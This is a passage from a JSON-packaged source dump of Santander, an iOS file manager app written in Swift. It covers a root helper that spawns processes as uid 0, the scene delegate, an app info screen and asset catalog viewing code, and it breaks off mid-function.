posix_spawn_file_actions_addclose(&fileActions, stderrPipe[1])\n            //posix_spawn_file_actions_addclose(&fileActions, stdinPipe[1])\n        }\n        \n        var attr: posix_spawnattr_t?\n        posix_spawnattr_init(&attr)\n        posix_spawnattr_set_persona_np(&attr, 99, UInt32(POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE))\n        posix_spawnattr_set_persona_uid_np(&attr, 0)\n        posix_spawnattr_set_persona_gid_np(&attr, 0)\n        \n        let env: [String]\n        if #available(iOS 15, *) {\n            // Rootless\n            env = [ \"PATH=/usr/local/sbin:/var/jb/usr/local/sbin:/usr/local/bin:/var/jb/usr/local/bin:/usr/sbin:/var/jb/usr/sbin:/usr/bin:/var/jb/usr/bin:/sbin:/var/jb/sbin:/bin:/var/jb/bin:/usr/bin/X11:/var/jb/usr/bin/X11:/usr/games:/var/jb/usr/games\"\n            ]\n        } else {\n            env = [\"PATH=/usr/bin:/usr/local/bin:/bin:/usr/sbin\"]\n        }\n        \n        let proenv = env.map { $0.withCString(strdup) }\n        defer {\n            for case let pro? in proenv {\n                free(pro)\n            }\n        }\n        \n        var pid: pid_t = 0\n        let spawnStatus = posix_spawn(&pid, command.path, &fileActions, &attr, argv + [nil], proenv + [nil])\n        guard spawnStatus == 0 else {\n            NSLog(\"spawnStatus error: \\(String(cString: strerror(errno)))\")\n            throw Errors.failedToSpawnHelper\n        }\n        \n        /*\n        if let standardInputData {\n            standardInputData.withUnsafeBytes { rawBufferPtr in\n                let base = rawBufferPtr.baseAddress!\n                let writeAmount = write(stdinPipe[1], base, standardInputData.count)\n                NSLog(\"RootHelper: writeAmount: \\(writeAmount)\")\n            }\n        }\n         */\n        \n        close(stdoutPipe[1])\n        close(stderrPipe[1])\n        //close(stdinPipe[1])\n        \n        var stdoutStr = \"\"\n        var stderrStr = \"\"\n        \n        let mutex = DispatchSemaphore(value: 0)\n        \n        let readQueue = DispatchQueue(label: \"com.serena.Santander.RootHelper\",\n                                      qos: .userInitiated,\n                                      attributes: .concurrent,\n                                      autoreleaseFrequency: .inherit,\n                                      target: nil)\n        \n        let stdoutSource = DispatchSource.makeReadSource(fileDescriptor: stdoutPipe[0], queue: readQueue)\n        let stderrSource = DispatchSource.makeReadSource(fileDescriptor: stderrPipe[0], queue: readQueue)\n        \n        stdoutSource.setCancelHandler {\n            close(stdoutPipe[0])\n            mutex.signal()\n        }\n        \n        stderrSource.setCancelHandler {\n            close(stderrPipe[0])\n            mutex.signal()\n        }\n        \n        stdoutSource.setEventHandler {\n            let buffer = UnsafeMutablePointer<UInt8>.allocate(capacity: bufsiz)\n            defer { buffer.deallocate() }\n            \n            let bytesRead = read(stdoutPipe[0], buffer, bufsiz)\n            guard bytesRead > 0 else {\n                if bytesRead == -1 && errno == EAGAIN {\n                    return\n                }\n                \n                stdoutSource.cancel()\n                return\n            }\n            \n            let array = Array(UnsafeBufferPointer(start: buffer, count: bytesRead)) + [UInt8(0)]\n            array.withUnsafeBufferPointer { ptr in\n                let str = String(cString: unsafeBitCast(ptr.baseAddress, to: UnsafePointer<CChar>.self))\n                stdoutStr += str\n            }\n        }\n        \n        stderrSource.setEventHandler {\n            let buffer = UnsafeMutablePointer<UInt8>.allocate(capacity: bufsiz)\n            defer { buffer.deallocate() }\n            \n            let bytesRead = read(stderrPipe[0], buffer, bufsiz)\n            guard bytesRead > 0 else {\n                if bytesRead == -1 && errno == EAGAIN {\n                    return\n                }\n                \n                stderrSource.cancel()\n                return\n            }\n            \n            let array = Array(UnsafeBufferPointer(start: buffer, count: bytesRead)) + [UInt8(0)]\n            array.withUnsafeBufferPointer { ptr in\n                let str = String(cString: unsafeBitCast(ptr.baseAddress, to: UnsafePointer<CChar>.self))\n                stderrStr += str\n            }\n        }\n        \n        stdoutSource.resume()\n        stderrSource.resume()\n        \n        mutex.wait()\n        mutex.wait()\n        \n        var status: Int32 = 0\n        waitpid(pid, &status, 0)\n        return Output(status: status, standardOutput: stdoutStr, standardError: stderrStr)\n    }\n    \n    struct Output {\n        let status: CInt\n        let standardOutput: String\n        let standardError: String\n    }\n    \n    var useRootHelper: Bool {\n        return UserPreferences.rootHelperIsEnabled\n    }\n    \n    private enum Errors: Error, LocalizedError, CustomStringConvertible {\n        case rootHelperUnavailable\n        case unableToReadHelperOutput\n        case failedToSpawnHelper\n        case otherError(description: String)\n        \n        var description: String {\n            switch self {\n            case .rootHelperUnavailable:\n                return \"Root Helper unavailable? is your install messed up?\"\n            case .unableToReadHelperOutput:\n                return \"Unable to read root helper output\"\n            case .failedToSpawnHelper:\n                return \"Failed to spawn root helper\"\n            case .otherError(let description):\n                return description\n            }\n        }\n        \n        var errorDescription: String? {\n            description\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/Other/SantanderHeader.h",
    "content": "//\n//  SantanderHeader.h\n//  Santander\n//\n//  Created by Анохин Юрий on 24.05.2023.\n//\n\n#import \"grant_full_disk_access.h\"\n#import \"helpers.h\"\n"
  },
  {
    "path": "Santander/SceneDelegate.swift",
    "content": "//\n//  SceneDelegate.swift\n//  Santander\n//\n//  Created by Serena on 21/06/2022\n//\n\n\nimport UIKit\n\nclass SceneDelegate: UIResponder, UIWindowSceneDelegate {\n    \n    var window: UIWindow?\n    var visibleSubPathsVc: PathListViewController? {\n        (window?.rootViewController as? UINavigationController)?.visibleViewController as? PathListViewController\n    }\n    \n    func performShortcut(_ shortcut: UIApplicationShortcutItem) {\n        switch shortcut.type {\n        case \"com.serena.santander.bookmarks\":\n            let vc = UINavigationController(rootViewController: PathListViewController.bookmarks())\n            window?.rootViewController?.present(vc, animated: true)\n        default:\n            // URL, go to it.\n            if let pathToTopenTo = shortcut.userInfo?[\"ShortcutURLToOpenTo\"] as? String {\n                visibleSubPathsVc?.goToPath(path: Path(stringLiteral: pathToTopenTo))\n            }\n        }\n    }\n    \n    func windowScene(_ windowScene: UIWindowScene,performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Void) {\n        self.performShortcut(shortcutItem)\n        completionHandler(true)\n    }\n    \n    func scene(_ scene: UIScene, willConnectTo session: UISceneSession, options connectionOptions: UIScene.ConnectionOptions) {\n        // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`.\n        // If using a storyboard, the `window` property will automatically be initialized and attached to the scene.\n        // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead).\n        guard let windowScene = (scene as? UIWindowScene) else { return }\n        \n        let subPathsVC: PathTransitioning\n        let window = UIWindow(windowScene: windowScene)\n        if UIDevice.isiPad {\n            let splitVC = UISplitViewController(style: .doubleColumn)\n            let vc = PathSidebarListViewController()\n            subPathsVC = vc\n            splitVC.setViewController(vc, for: .primary)\n            window.rootViewController = splitVC\n        } else {\n            let vc = PathListViewController(style: .userPreferred, path: .root)\n            subPathsVC = vc\n            window.rootViewController = UINavigationController(rootViewController: vc)\n        }\n        \n        DispatchQueue.main.async {\n            window.tintColor = UserPreferences.appTintColor.uiColor\n            window.overrideUserInterfaceStyle = UIUserInterfaceStyle(rawValue: UserPreferences.preferredInterfaceStyle) ?? .unspecified\n        }\n        \n        self.window = window\n        \n        // Needed on iPad so that the SplitViewController displays no matter orientation\n        (window.rootViewController as? UISplitViewController)?.show(.primary)\n        if let launchPath = UserPreferences.launchPath,\n            FileManager.default.fileExists(atPath: launchPath) {\n            subPathsVC.goToPath(path: Path(stringLiteral: launchPath))\n        }\n        \n        window.makeKeyAndVisible()\n        // handle incoming URLs\n        self.scene(scene, openURLContexts: connectionOptions.urlContexts)\n        // handle possible shortcut clicked\n        if let shortcut = connectionOptions.shortcutItem {\n            self.performShortcut(shortcut)\n        }\n    }\n    \n    func sceneDidDisconnect(_ scene: UIScene) {\n        // Called as the scene is being released by the system.\n        // This occurs shortly after the scene enters the background, or when its session is discarded.\n        // Release any resources associated with this scene that can be re-created the next time the scene connects.\n        // The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead).\n    }\n    \n    func sceneDidBecomeActive(_ scene: UIScene) {\n        // Called when the scene has moved from an inactive state to an active state.\n        // Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive.\n    }\n    \n    func sceneWillResignActive(_ scene: UIScene) {\n        // Called when the scene will move from an active state to an inactive state.\n        // This may occur due to temporary interruptions (ex. an incoming phone call).\n    }\n    \n    func sceneWillEnterForeground(_ scene: UIScene) {\n        // Called as the scene transitions from the background to the foreground.\n        // Use this method to undo the changes made on entering the background.\n    }\n    \n    func sceneDidEnterBackground(_ scene: UIScene) {\n        // Called as the scene transitions from the foreground to the background.\n        // Use this method to save data, release shared resources, and store enough scene-specific state information\n        // to restore the scene back to its current state.\n    }\n    \n    \n    // Path is being imported\n    func scene(_ scene: UIScene, openURLContexts URLContexts: Set<UIOpenURLContext>) {\n        // map them to file URLs instead of `santander://` URLs\n        let urls = URLContexts.map { ctx in\n            URL(fileURLWithPath: ctx.url.path)\n        }\n        guard !urls.isEmpty else {\n            return\n        }\n  \n        let alertController = UIAlertController(title: \"URL(s) being imported to app, would you like to copy it to another path?\", message: nil, preferredStyle: .alert)\n        let copyAction = UIAlertAction(title: \"Copy Path\", style: .default) { _ in\n            self.window?.rootViewController?.present(UINavigationController(rootViewController: PathOperationViewController(paths: urls, operationType: .import)), animated: true)\n        }\n        \n        alertController.addAction(copyAction)\n        // if there's just one item, display option to go it's path\n        if urls.count == 1 {\n            let viewItemAction = UIAlertAction(title: \"View item\", style: .default) { _ in\n                let item = urls[0]\n                let itemParentPath = item.deletingLastPathComponent()\n                let rootVC = self.window?.rootViewController as? UINavigationController\n                let vcToPush = PathListViewController(path: Path(url: itemParentPath))\n                rootVC?.pushViewController(vcToPush, animated: true) {\n                    if let indx = vcToPush.contents.firstIndex(of: Path(url: item)) {\n                        let indexPath = IndexPath(row: indx, section: 0)\n                        vcToPush.tableView.scrollToRow(at: indexPath, at: .middle, animated: true)\n                        vcToPush.tableView.selectRow(at: indexPath, animated: true, scrollPosition: .middle)\n                    }\n                }\n            }\n            \n            alertController.addAction(viewItemAction)\n        }\n        \n        alertController.addAction(.cancel())\n        window?.rootViewController?.present(alertController, animated: true)\n        \n    }\n}\n\nfileprivate extension UINavigationController {\n    func pushViewController(_ viewController: UIViewController, animated: Bool, completion: @escaping (() -> Void)) {\n        pushViewController(viewController, animated: animated)\n        \n        guard animated, let coordinator = transitionCoordinator else {\n            completion()\n            return\n        }\n        \n        coordinator.animate(alongsideTransition: nil) { _ in completion() }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/AppInfoViewController.swift",
    "content": "//\n//  AppInfoViewController.swift\n//  Santander\n//\n//  Created by Serena on 15/08/2022.\n//\n\nimport UIKit\nimport ApplicationsWrapper\n\n/// A ViewController to display information about an app\nclass AppInfoViewController: UITableViewController {\n    let app: LSApplicationProxy\n    // used to go to a path if selected in the current view controller\n    let subPathsSender: PathListViewController\n    \n    init(style: UITableView.Style, app: LSApplicationProxy, subPathsSender: PathListViewController) {\n        self.app = app\n        self.subPathsSender = subPathsSender\n        super.init(style: style)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        navigationItem.titleView = UIImageView(image: ApplicationsManager.shared.icon(forApplication: app))\n    }\n    \n    override func numberOfSections(in tableView: UITableView) -> Int {\n        return 5\n    }\n    \n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        switch section {\n        case 0:\n            return app.claimedURLSchemes.isEmpty ? 4 : 5\n        case 1:\n            return 2\n        case 2:\n            return 4\n        case 3:\n            return 2\n        case 4:\n            return 2\n        default:\n            fatalError(\"Unknown section! \\(section)\")\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)\n        var conf = cell.defaultContentConfiguration()\n        \n        defer {\n            cell.contentConfiguration = conf\n        }\n        \n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            conf.text = \"Name\"\n            conf.secondaryText = app.localizedName()\n        case (0, 1):\n            conf.text = \"Bundle ID\"\n            conf.secondaryText = app.applicationIdentifier()\n        case (0, 2):\n            conf.text = \"SDK Version\"\n            conf.secondaryText = app.sdkVersion\n        case (0, 3):\n            conf.text = \"Type\"\n            conf.secondaryText = app.applicationType\n        case (0, 4):\n            conf.text = \"URL schemes\"\n            conf.secondaryText = app.claimedURLSchemes.joined(separator: \", \")\n        case (1, 0):\n            conf.text = \"Team ID\"\n            conf.secondaryText = app.teamID\n        case (1, 1):\n            conf.text = \"Entitlements\"\n            cell.accessoryType = .disclosureIndicator\n        case (2, 0):\n            conf.text = \"Deletable\"\n            conf.secondaryText = app.isDeletable ? \"Yes\" : \"No\"\n        case (2, 1):\n            conf.text = \"Beta app\"\n            conf.secondaryText = app.isBetaApp ? \"Yes\" : \"No\"\n        case (2, 2):\n            conf.text = \"Restricted\"\n            conf.secondaryText = app.isRestricted ? \"Yes\" : \"No\"\n        case (2, 3):\n            conf.text = \"Containerized\"\n            conf.secondaryText = app.isContainerized ? \"Yes\" : \"No\"\n        case (3, 0):\n            conf.text = \"Container URL\"\n            conf.secondaryText = app.containerURL().path\n        case (3, 1):\n            conf.text = \"Bundle URL\"\n            conf.secondaryText = app.bundleURL().path\n        case (4, 0):\n            conf.text = \"Open\"\n            conf.textProperties.color = .systemBlue\n        case (4, 1):\n            conf.text = \"Delete\"\n            conf.textProperties.color = .systemRed\n        default:\n            fatalError(\"Unknown indexPath: \\(indexPath)\")\n        }\n        \n        return cell\n    }\n    \n    override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {\n        switch indexPath.section {\n        case 3, 4:\n            return true\n        default:\n            return (indexPath.section, indexPath.row) == (1, 1) // entitlements\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        switch (indexPath.section, indexPath.row) {\n        case (1, 1):\n            let dict = app.entitlements.asSerializedDictionary()\n            let vc = SerializedDocumentViewController(dictionary: dict, type: .plist(format: nil), title: \"Entitlements\", parentController: nil, canEdit: false)\n            self.navigationController?.pushViewController(vc, animated: true)\n        case (3, 0):\n            dismissAndGoToURL(app.containerURL())\n        case (3, 1):\n            dismissAndGoToURL(app.bundleURL())\n        case (4, 0):\n            do {\n                try ApplicationsManager.shared.openApp(app)\n            } catch {\n                self.errorAlert(error, title: \"Unable to open \\(app.localizedName())\")\n            }\n        case (4, 1):\n            do {\n                try ApplicationsManager.shared.deleteApp(app)\n                self.dismiss(animated: true)\n                subPathsSender.tableView.reloadData()\n            } catch {\n                self.errorAlert(error, title: \"Unable to delete app\")\n            }\n        default:\n            break\n        }\n    }\n    \n    func dismissAndGoToURL(_ url: URL) {\n        self.dismiss(animated: true)\n        \n        subPathsSender.goToPath(path: Path(url: url))\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogCell.swift",
    "content": "//\n//  AssetCatalogCell.swift\n//  Santander\n//\n//  Created by Serena on 18/09/2022\n//\n\n\nimport UIKit\nimport AssetCatalogWrapper\n\nclass AssetCatalogCell: UICollectionViewCell {\n    let nameLabel: UILabel = UILabel()\n    let subtitleLabel: UILabel = UILabel()\n    lazy var circleView: UIView? = rendition?.representation?.uiView\n    var rendition: Rendition?\n}\n\nextension AssetCatalogCell {\n    static let cellBackgroundColor: UIColor = .quaternarySystemFill\n    \n    func configure() {\n        setupShape()\n        \n        guard let rendition = rendition else { return }\n        nameLabel.text = rendition.name\n        subtitleLabel.text = makeSubtitleText(forRendition: rendition)\n        subtitleLabel.font = .preferredFont(forTextStyle: .caption1)\n        subtitleLabel.textColor = .secondaryLabel\n        \n        let labelsStackView = UIStackView(arrangedSubviews: [nameLabel, subtitleLabel])\n        labelsStackView.translatesAutoresizingMaskIntoConstraints = false\n        labelsStackView.axis = .vertical\n        \n        let stackView = UIStackView(arrangedSubviews: [labelsStackView])\n        stackView.translatesAutoresizingMaskIntoConstraints = false\n        stackView.spacing = 10\n        \n        contentView.addSubview(stackView)\n        let guide = contentView.layoutMarginsGuide\n        if let circleView = circleView {\n            circleView.layer.cornerRadius = 20\n            circleView.layer.cornerCurve = .circular\n            circleView.translatesAutoresizingMaskIntoConstraints = false\n            stackView.insertArrangedSubview(circleView, at: 0)\n            \n            NSLayoutConstraint.activate([\n                circleView.heightAnchor.constraint(equalTo: guide.heightAnchor),\n                circleView.widthAnchor.constraint(equalTo: guide.heightAnchor),\n            ])\n        }\n        \n        stackView.constraintCompletely(to: guide)\n    }\n    \n    func makeSubtitleText(forRendition rend: Rendition) -> String {\n        return \"Scale: \\(rend.cuiRend.scale())\" // todo: more info?\n    }\n    \n    // IMPORTANT: Don't get rid of this, otherwise cells will start mixing with each other\n    // due to each one having the same reuseIdentifier by default..\n    override var reuseIdentifier: String? {\n        return rendition?.name\n    }\n    \n    func setupShape() {\n        var bgConf = UIBackgroundConfiguration.clear()\n        bgConf.backgroundColor = AssetCatalogCell.cellBackgroundColor\n        bgConf.cornerRadius = 14\n        backgroundConfiguration = bgConf\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogDetailsView.swift",
    "content": "//\n//  AssetCatalogDetailsView.swift\n//  Santander\n//\n//  Created by Serena on 27/09/2022\n//\n\n\nimport UIKit\nimport CoreUIBridge\n\n#warning(\"get this working: A view which displays the details of an asset catalog\")\nclass AssetCatalogDetailsView: UIView {\n    var catalog: CUICatalog\n    \n    init(catalog: CUICatalog) {\n        self.catalog = catalog\n        super.init(frame: .zero)\n        \n        let testLabel = UILabel()\n        testLabel.text = \"Hello\"\n        testLabel.translatesAutoresizingMaskIntoConstraints = false\n        addSubview(testLabel)\n        \n        NSLayoutConstraint.activate([\n            testLabel.centerXAnchor.constraint(equalTo: centerXAnchor),\n            testLabel.leadingAnchor.constraint(equalTo: leadingAnchor)\n        ])\n        \n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n}\n"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogGridPreviewCell.swift",
    "content": "//\n//  AssetCatalogGridPreviewCell.swift\n//  Santander\n//\n//  Created by Serena on 08/10/2022\n//\n\n\nimport UIKit\nimport AssetCatalogWrapper\n\nfileprivate extension CACornerMask {\n    static func alongEdge(_ edge: CGRectEdge) -> CACornerMask {\n        switch edge {\n        case .maxXEdge: return [.layerMaxXMinYCorner, .layerMaxXMaxYCorner]\n        case .maxYEdge: return [.layerMinXMaxYCorner, .layerMaxXMaxYCorner]\n        case .minXEdge: return [.layerMinXMinYCorner, .layerMinXMaxYCorner]\n        case .minYEdge: return [.layerMinXMinYCorner, .layerMaxXMinYCorner]\n        }\n    }\n}\n\nclass AssetCatalogGridPreviewCell: UICollectionViewCell {\n    var rendition: Rendition!\n    var previewView: UIView!\n    \n    func configure() {\n        var constraintCompletely: Bool = true\n        if let preview = rendition.representation {\n            previewView = preview.uiView\n        } else {\n            let noPreviewLabel = UILabel()\n            noPreviewLabel.text = \"No Preview.\"\n            noPreviewLabel.textColor = .secondaryLabel\n            previewView = noPreviewLabel\n            constraintCompletely = false\n        }\n        \n        previewView.clipsToBounds = true\n        previewView.contentMode = .scaleAspectFit\n        previewView.translatesAutoresizingMaskIntoConstraints = false\n        \n        contentView.addSubview(previewView)\n        contentView.layer.cornerCurve = .continuous\n        contentView.layer.cornerRadius = 12.0\n        \n        layer.shadowOpacity = 0.2\n        layer.shadowRadius = 6.0\n        \n        pushCornerPropertiesToChildren()\n        \n        if constraintCompletely {\n            previewView.constraintCompletely(to: contentView.layoutMarginsGuide)\n        } else {\n            NSLayoutConstraint.activate([\n                previewView.centerXAnchor.constraint(equalTo: contentView.centerXAnchor),\n                previewView.centerYAnchor.constraint(equalTo: contentView.centerYAnchor)\n            ])\n        }\n    }\n    \n    override var reuseIdentifier: String? {\n        rendition?.name\n    }\n    \n    func pushCornerPropertiesToChildren() {\n        previewView.layer.maskedCorners = contentView.layer.maskedCorners.union(.alongEdge(.maxYEdge))\n        previewView.layer.cornerRadius = contentView.layer.cornerRadius\n        previewView.layer.cornerCurve = contentView.layer.cornerCurve\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogRenditionViewController.swift",
    "content": "//\n//  AssetCatalogRenditionViewController.swift\n//  Santander\n//\n//  Created by Serena on 01/10/2022\n//\n\n\nimport UIKit\nimport AssetCatalogWrapper\n\nclass AssetCatalogRenditionViewController: UIViewController {\n    typealias DataSource = UICollectionViewDiffableDataSource<Section, ItemType>\n    \n    typealias DetailCellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, DetailItem>\n    typealias ActionCellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, ItemAction>\n    typealias GridPreviewCellRegistration = UICollectionView.CellRegistration<AssetCatalogGridPreviewCell, Rendition>\n    \n    var rendition: Rendition\n    var collectionView: UICollectionView!\n    var dataSource: DataSource!\n    var sender: AssetCatalogViewController?\n    \n    init(rendition: Rendition, sender: AssetCatalogViewController?) {\n        self.rendition = rendition\n        self.sender = sender\n        super.init(nibName: nil, bundle: nil)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) hasn't been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        title = \"Info\"\n        configureCollectionView()\n        configureDataSource()\n        addItems()\n    }\n    \n    func configureCollectionView() {\n        self.collectionView = UICollectionView(frame: .zero, collectionViewLayout: makeLayout())\n        collectionView.translatesAutoresizingMaskIntoConstraints = false\n        collectionView.delegate = self\n        collectionView.dragDelegate = self\n        collectionView.backgroundColor = .secondarySystemBackground\n        view.addSubview(collectionView)\n        \n        collectionView.constraintCompletely(to: view)\n    }\n    \n    func editItem(sender: AssetCatalogViewController) {\n        guard let saveIndx = sender.dataSource.indexPath(for: rendition) else { return }\n        sender.editItem(rendition, presentingFrom: self) { [self] error in\n            if let error = error {\n                errorAlert(error, title: \"Failed to edit item\")\n                return\n            }\n            \n            dismiss(animated: true) {\n                guard let newRend = sender.dataSource.itemIdentifier(for: saveIndx) else { return }\n                let newVC = UINavigationController(rootViewController: AssetCatalogRenditionViewController(rendition: newRend, sender: sender))\n                sender.present(newVC, animated: true)\n            }\n        }\n    }\n    \n    func makeDetailCellBackgroundConfiguration() -> UIBackgroundConfiguration {\n        var background = UIBackgroundConfiguration.listAccompaniedSidebarCell()\n        background.cornerRadius = 8\n        background.backgroundColor = .tertiarySystemBackground\n        return background\n    }\n    \n    func configureDataSource() {\n        let listCellSecondaryTextFont: UIFont = .preferredFont(forTextStyle: .footnote)\n        let detailCellBackgroundConf = makeDetailCellBackgroundConfiguration()\n        \n        let detailCellRegistration = DetailCellRegistration { cell, indexPath, details in\n            var content = UIListContentConfiguration.cell()\n            content.prefersSideBySideTextAndSecondaryText = true\n            content.text = details.primaryText\n            content.secondaryText = details.secondaryText\n            content.secondaryTextProperties.font = listCellSecondaryTextFont\n            cell.contentConfiguration = content\n            cell.backgroundConfiguration = detailCellBackgroundConf\n        }\n        \n        let previewCellRegistration = GridPreviewCellRegistration { cell, indexPath, itemIdentifier in\n            cell.rendition = self.rendition\n            cell.configure()\n        }\n        \n        let actionCellRegistration = ActionCellRegistration { cell, indexPath, itemIdentifier in\n            var conf = cell.defaultContentConfiguration()\n            conf.text = itemIdentifier.displayText\n            conf.image = itemIdentifier.displayImage\n            \n            if let color = itemIdentifier.textColor {\n                conf.textProperties.color = color\n            }\n            \n            conf.imageToTextPadding = 10\n            cell.contentConfiguration = conf\n            cell.backgroundConfiguration = detailCellBackgroundConf\n        }\n        \n        self.dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in\n            switch itemIdentifier {\n            case .preview:\n                return collectionView.dequeueConfiguredReusableCell(using: previewCellRegistration, for: indexPath, item: self.rendition)\n            case .action(let action):\n                return collectionView.dequeueConfiguredReusableCell(using: actionCellRegistration, for: indexPath, item: action)\n            case .details(let detailItem):\n                return collectionView.dequeueConfiguredReusableCell(using: detailCellRegistration, for: indexPath, item: detailItem)\n            }\n        }\n    }\n    \n    func addItems() {\n        var snapshot = NSDiffableDataSourceSnapshot<Section, ItemType>()\n        snapshot.appendSections([.itemPreview])\n        \n        var actions: [ItemAction] = []\n        // add actions if possible\n        if let image = rendition.image {\n            let uiImage = UIImage(cgImage: image)\n            \n            let saveImageAction = ItemAction(displayText: \"Save\", displayImage: UIImage(systemName: \"square.and.arrow.down\")) {\n                self.saveImage(uiImage)\n            }\n            \n            let viewImageAction = ItemAction(displayText: \"View\", displayImage: UIImage(systemName: \"magnifyingglass\")) {\n                let viewer = ImageViewerController(fileURL: nil, image: uiImage, title: self.rendition.name)\n                self.present(UINavigationController(rootViewController: viewer), animated: true)\n            }\n            \n            actions += [saveImageAction, viewImageAction]\n        }\n        \n        if rendition.type.isEditable, let sender = sender {\n            let editAction = ItemAction(displayText: \"Edit\", displayImage: UIImage(systemName: \"gear\")) {\n                self.editItem(sender: sender)\n            }\n            \n            actions.append(editAction)\n        }\n        \n        if !actions.isEmpty {\n            snapshot.appendSections([.itemActions])\n            snapshot.appendItems(actions.map { return ItemType.action($0) }, toSection: .itemActions)\n        }\n        \n        let size = rendition.cuiRend.unslicedSize()\n        \n        var itemDetails: [DetailItem] = []\n        \n        // if rendition name is different than lookup name,\n        // then display just \"Name\"\n        // otherwise, if they're different, display them as different cells\n        if rendition.namedLookup.name == rendition.namedLookup.renditionName {\n            itemDetails.insert(DetailItem(primaryText: \"Name\", secondaryText: rendition.namedLookup.name), at: 0)\n        } else {\n            let bothNames = [\n                DetailItem(primaryText: \"Lookup Name\", secondaryText: rendition.namedLookup.name),\n                DetailItem(primaryText: \"Rendition Name\", secondaryText: rendition.namedLookup.renditionName)\n            ]\n            \n            itemDetails.insert(contentsOf: bothNames, at: 0)\n        }\n        \n        // if the height or width aren't 0 (they are 0 in the cases of colors)\n        // display them\n        if !size.height.isZero {\n            itemDetails.append(DetailItem(primaryText: \"Height\", secondaryText: size.height.description))\n        }\n        \n        if !size.width.isZero {\n            itemDetails.append(DetailItem(primaryText: \"Width\", secondaryText: size.width.description))\n        }\n        \n        itemDetails.append(DetailItem(primaryText: \"Scale\", secondaryText: rendition.cuiRend.scale().description))\n        \n        let key = rendition.namedLookup.key\n        let rendInfo: [DetailItem] = [\n            DetailItem(primaryText: \"Idiom\", secondaryText: Rendition.Idiom(key)),\n            DetailItem(primaryText: \"Appearance\", secondaryText: Rendition.Appearance(key)),\n            DetailItem(primaryText: \"Display Gamut\", secondaryText: Rendition.DisplayGamut(key)),\n            DetailItem(primaryText: \"Type\", secondaryText: rendition.type),\n        ]\n        \n        snapshot.appendItems([.preview], toSection: .itemPreview)\n        snapshot.appendSections([.itemInfo])\n        snapshot.appendItems(ItemType.fromDetails(itemDetails), toSection: .itemInfo)\n        \n        if rendition.type == .multiSizeImageSet,\n           let nsObjectSizes = rendition.cuiRend.value(forKey: \"sizeIndexes\") as? [NSObject] {\n            let sizes = nsObjectSizes.compactMap { $0.value(forKey: \"size\") as? CGSize }\n            let items = sizes.enumerated().map { (indx, size) in\n                DetailItem(primaryText: \"Size \\(indx)\", secondaryText: \"Width: \\(size.width), Height: \\(size.height)\")\n            }\n            \n            snapshot.appendSections([.specificTypeInfo])\n            snapshot.appendItems(ItemType.fromDetails(items), toSection: .specificTypeInfo)\n        }\n        \n        switch rendition.representation {\n        case .color(let cgColor):\n            let uiColor = UIColor(cgColor: cgColor)\n            // to easily get blue, red, green, alpha without\n            // working with pointers\n            let codableColor = CodableColor(uiColor)\n            \n            let colorSpaceName = (cgColor.colorSpace?.name as? String ?? \"N/A\")\n                .replacingOccurrences(of: \"kCGColorSpace\", with: \"\") // remove mentions of \"kCGColorSpace\" so its only the name\n            let colorDetails = [\n                DetailItem(primaryText: \"ColorSpace\", secondaryText: colorSpaceName),\n                DetailItem(primaryText: \"Red\", secondaryText: String(format: \"%.3f\", codableColor.red)),\n                DetailItem(primaryText: \"Blue\", secondaryText: String(format: \"%.3f\", codableColor.blue)),\n                DetailItem(primaryText: \"Green\", secondaryText: String(format: \"%.3f\", codableColor.green)),\n            ]\n            \n            snapshot.insertSections([.specificTypeInfo], afterSection: .itemInfo)\n            snapshot.appendItems(ItemType.fromDetails(colorDetails), toSection: .specificTypeInfo)\n        default:\n            break\n        }\n        \n        snapshot.appendSections([.renditionKeyInfo])\n        snapshot.appendItems(ItemType.fromDetails(rendInfo), toSection: .renditionKeyInfo)\n        \n        if let sender = sender {\n            let deleteImage = UIImage(systemName: \"trash\")?.withTintColor(.systemRed, renderingMode: .alwaysOriginal)\n            let deleteAction = ItemAction(displayText: \"Delete\", displayImage: deleteImage, textColor: .systemRed) {\n                let confirmationAlert = UIAlertController(title: \"Are you sure you want to delete this item?\", message: nil, preferredStyle: .actionSheet)\n                let deleteAction = UIAlertAction(title: \"Delete\", style: .destructive) { [self] _ in\n                    sender.deleteItem(rendition) { [self] error in\n                        if let error = error {\n                            errorAlert(error, title: \"Failed to delete item\")\n                        } else {\n                            dismiss(animated: true)\n                        }\n                    }\n                }\n                \n                confirmationAlert.addAction(deleteAction)\n                confirmationAlert.addAction(.cancel())\n                \n                \n                self.present(confirmationAlert, animated: true)\n            }\n            \n            \n            snapshot.appendSections([.deleteItem])\n            snapshot.appendItems([.action(deleteAction)], toSection: .deleteItem)\n        }\n        \n        dataSource.apply(snapshot)\n    }\n    \n    func makeLayout() -> UICollectionViewLayout {\n        // lazy var, so that it's not nil by the time it's initialized, because makeLayout() is called before 